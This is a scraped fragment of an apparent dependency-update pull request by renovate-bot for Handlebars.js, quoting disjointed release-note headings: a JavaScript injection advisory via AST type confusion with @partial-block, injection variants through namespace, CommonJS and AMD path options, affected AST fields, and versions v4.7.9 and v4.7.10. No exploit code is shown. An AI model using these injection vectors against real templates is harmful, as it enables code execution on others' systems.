Variant BooleanLiteral|NumberLiteral.value

Variant PathExpression.depth

renovate-bot commented Aug 26, 2026 •

edited

Loading

Handlebars.js has JavaScript Injection via AST Type Confusion by tampering @partial-block

2. Namespace injection (`-n` / `--namespace`)

3. CommonJS path injection (`-c` / `--commonjs`)

4. AMD path injection (`-h` / `--handlebarPath`)

Variant `Program.blockParams`

Variant `BooleanLiteral|NumberLiteral.value`

Variant `PathExpression.depth`

`v4.7.10`

`v4.7.9`